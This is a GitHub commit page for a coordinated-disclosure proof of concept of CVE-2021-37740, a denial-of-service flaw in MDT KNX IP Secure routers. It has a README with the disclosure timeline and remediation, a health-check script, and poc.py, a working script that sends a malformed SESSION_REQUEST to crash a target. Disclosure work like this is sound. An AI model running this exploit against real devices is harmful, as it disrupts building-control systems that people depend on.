This repository has been archived by the owner on Apr 15, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Python scripts, description in README.md and an image that despicts the frame structure of the modified SESSION_REQUEST.
- Loading branch information
1 parent
4f4b3a9
commit c3079e3
Showing
4 changed files
with
203 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,63 @@ | ||
# CVE-2021-37740 | ||
PoC for DoS vulnerability CVE-2021-37740 in MDT SCN-IP100.03 with firmware v3.0.3. The bug has been fixed in firmware v3.0.4. | ||
# Proof of Concept for CVE-2021-37740 | ||
|
||
## Table of Contents | ||
|
||
- [Introduction](#introduction) | ||
- [The Vulnerability](#the-vulnerability) | ||
- [Executing the PoC](#executing-the-poc) | ||
- [Remediation](#remediation) | ||
- [Coordinated Vulnerability Disclosure](#coordinated-vulnerability-disclosure) | ||
- [License](#license) | ||
- [Change Log](#change-log) | ||
|
||
## Introduction | ||
|
||
CVE-2021-37740 is a denial of service (DoS) vulnerability that affects firmware v3.0.3 of the KNXnet/IP Secure router SCN-IP100.03 and interface SCN-IP000.03 by MDT. | ||
A specially crafted KNXnet/IP Secure frame would result in a device that is unresponsive to further requests, requiring a reboot the restore normal operations. | ||
This respository contains a proof of concept that demonstrates how the bug can be triggered, which was originally developed for the coordinated vulnerability disclosure. | ||
|
||
## The Vulnerability | ||
|
||
An adversary can exploit the vulnerability by establishing a TCP connection with the target device, followed by sending a `SESSION_REQUEST` frame with a modified total length field, containing a value of `0x0259` or higher. | ||
Devices affected by the vulnerability will no longer respond to KNXnet/IP Secure frames in any connection. The `SESSION_REQUEST` is the first frame sent during the handshake of the KNXnet/IP Secure unicast protocol, as specified by ISO 22510:2019. | ||
It is supposed to have a fixed length of 46 byte. The standard requires that frames with a deviating length are discarded. | ||
|
||
![Modified SESSION_REQUEST frame](./imgs/session-request.svg) | ||
|
||
## Executing the Proof of Concept | ||
|
||
Python 3 is required for the scripts provided in this repository. The `healthcheck.py` is for testing whether the device is still responsive. | ||
It establishes a TCP connection with the target device and attempts to start the KNXnet/IP Secure unicast handshake. | ||
If the device sends a reply, it will be print it as hex to `stdout`. | ||
The `poc.py` tries to trigger the DoS vulnerability by sending the invalid `SESSION_REQUEST` frame. If a device is vulnerable, subsequent executions of the `healthcheck.py` will not yield a reply, unless the the target device is rebooted. | ||
|
||
The scripts can be executed with the following commands, where `<insert IP address>` has to be replaced with the actual IP address (e.g. `192.168.2.137`). | ||
|
||
`python3 healthcheck.py -t <insert IP address>` | ||
`python3 poc.py -t <insert IP address>` | ||
|
||
On Windows the alias for Python may have to be changed from `python3` to `python`. If the target device implements the control endpoint on a port other than `3671`, then the port in the script has to be adjusted accordingly. | ||
|
||
## Remediation | ||
|
||
The vulnerability was fixed in firmware v3.0.4, as documented by the [change log](https://www.mdt.de/download/MDT_CL_SCN_IP_03_IP_Interface_Router.pdf). Installing the most recent firmware remediates the issue. Instructions for the firmware update and the `.hex` file are provided on [MDT's website](https://www.mdt.de/produkte/produktdetail.html?tx_mdtproducts_detail%5Baction%5D=detail&tx_mdtproducts_detail%5Bcontroller%5D=Productseries&tx_mdtproducts_detail%5Bseries%5D=61&cHash=b5790b112aaa7ae5fe450726ea614983). | ||
|
||
## Coordinated Vulnerability Disclosure | ||
|
||
- 2021-07-06 - Issue reported to MDT | ||
- 2021-07-07 - Investigation started by MDT | ||
- 2021-07-28 - MDT confirmed the bug and provided a patched firmware for testing | ||
- 2021-08-01 - Confirmation provided to MDT that the bug was fixed | ||
- 2021-08-02 - MDT released firmware v3.0.4 | ||
- 2022-04-01 - Public disclosure | ||
|
||
## License | ||
|
||
The proof of concept is distributed under the [MIT license](./LICENSE). | ||
|
||
## Change Log | ||
|
||
### 1.0.0 - 2022-04-01 | ||
|
||
**Changes:** | ||
- Initial version |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
# MIT License | ||
# | ||
# Copyright (c) 2021 Robert Gützkow | ||
# | ||
# Permission is hereby granted, free of charge, to any person obtaining a copy | ||
# of this software and associated documentation files (the "Software"), to deal | ||
# in the Software without restriction, including without limitation the rights | ||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
# copies of the Software, and to permit persons to whom the Software is | ||
# furnished to do so, subject to the following conditions: | ||
# | ||
# The above copyright notice and this permission notice shall be included in all | ||
# copies or substantial portions of the Software. | ||
# | ||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
# SOFTWARE. | ||
|
||
import socket | ||
import argparse | ||
|
||
|
||
def health_check(target_ip): | ||
''' | ||
Attempt to start a KNX IP Secure handshake and check if a reply is received. When the denial of service attack | ||
from the poc.py is successful, no reply should be received anymore, unless the device is rebooted. | ||
:param target_ip: IP address of the target device | ||
''' | ||
port = 3671 | ||
buffer_size = 56 # Length of a SESSION_RESPONSE frame | ||
payload = bytearray([ | ||
# KNX IP header | ||
0x06, # Header length (1 byte) | ||
0x10, # Protocol version (1 byte) | ||
0x09, # Service type identifier for SESSION_REQUEST (2 bytes) | ||
0x51, | ||
0x00, # Total length (2 bytes) | ||
0x2e, | ||
# HPAI control endpoint | ||
0x08, # Structure length (1 byte) | ||
0x02, # Host protocol code for TCP (1 byte) | ||
0x00, # IPv4 address for client's control endpoint (4 bytes) set all zero for route back | ||
0x00, | ||
0x00, | ||
0x00, | ||
0x00, # Port number (2 bytes) set to all zero for route back | ||
0x00 | ||
]) | ||
payload.extend(bytes([0x00] * 32)) # Diffie-Hellman client public value X (32 bytes) | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
s.connect((target_ip, port)) | ||
s.sendall(payload) | ||
reply = s.recv(buffer_size) # Should provide at least 1 byte as reply if successful | ||
print(reply.hex()) | ||
s.close() | ||
|
||
|
||
if __name__ == "__main__": | ||
parser = argparse.ArgumentParser(description="Test if KNX IP Secure device is still reachable") | ||
parser.add_argument("-t", | ||
"--target", | ||
type=str, | ||
help="IP address of the target device", | ||
required=True) | ||
args = parser.parse_args() | ||
health_check(args.target) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
# MIT License | ||
# | ||
# Copyright (c) 2021 Robert Gützkow | ||
# | ||
# Permission is hereby granted, free of charge, to any person obtaining a copy | ||
# of this software and associated documentation files (the "Software"), to deal | ||
# in the Software without restriction, including without limitation the rights | ||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
# copies of the Software, and to permit persons to whom the Software is | ||
# furnished to do so, subject to the following conditions: | ||
# | ||
# The above copyright notice and this permission notice shall be included in all | ||
# copies or substantial portions of the Software. | ||
# | ||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
# SOFTWARE. | ||
|
||
import socket | ||
import argparse | ||
|
||
|
||
def denial_of_service(target_ip): | ||
''' | ||
Proof of concept for a denial of service vulnerability in firmware v3.0.3 of MDT SCN-IP100.03 and SCN-IP000.03. | ||
Sending a SESSION_REQUEST frame with the total length field set to a value of 0x0259 or higher will cause a | ||
vulnerable target device to become unresponsive to all KNXnet/IP Secure frames until the device is rebooted. | ||
:param target_ip: IP address of the target device | ||
''' | ||
port = 3671 | ||
payload = bytearray([ | ||
# KNX IP header | ||
0x06, # Header length (1 byte) | ||
0x10, # Protocol version (1 byte) | ||
0x09, # Service type identifier for SESSION_REQUEST (2 bytes) | ||
0x51, | ||
0x02, # Total length (2 bytes) | ||
0x59, # Incorrectly set to value larger than the expected constant length 0x2e (46 bytes) | ||
# HPAI control endpoint | ||
0x08, # Structure length (1 byte) | ||
0x02, # Host protocol code for TCP (1 byte) | ||
0x00, # IPv4 address for client's control endpoint (4 bytes) set all zero for route back | ||
0x00, | ||
0x00, | ||
0x00, | ||
0x00, # Port number (2 bytes) set to all zero for route back | ||
0x00 | ||
]) | ||
payload.extend(bytes([0x00] * 32)) # Diffie-Hellman client public value X (32 bytes) | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
s.connect((target_ip, port)) | ||
s.sendall(payload) | ||
s.close() | ||
|
||
|
||
if __name__ == "__main__": | ||
parser = argparse.ArgumentParser(description="PoC for DoS vulnerability in SCN-IP100.03 firmware v3.0.3") | ||
parser.add_argument("-t", | ||
"--target", | ||
type=str, | ||
help="IP address of the target device", | ||
required=True) | ||
args = parser.parse_args() | ||
denial_of_service(args.target) |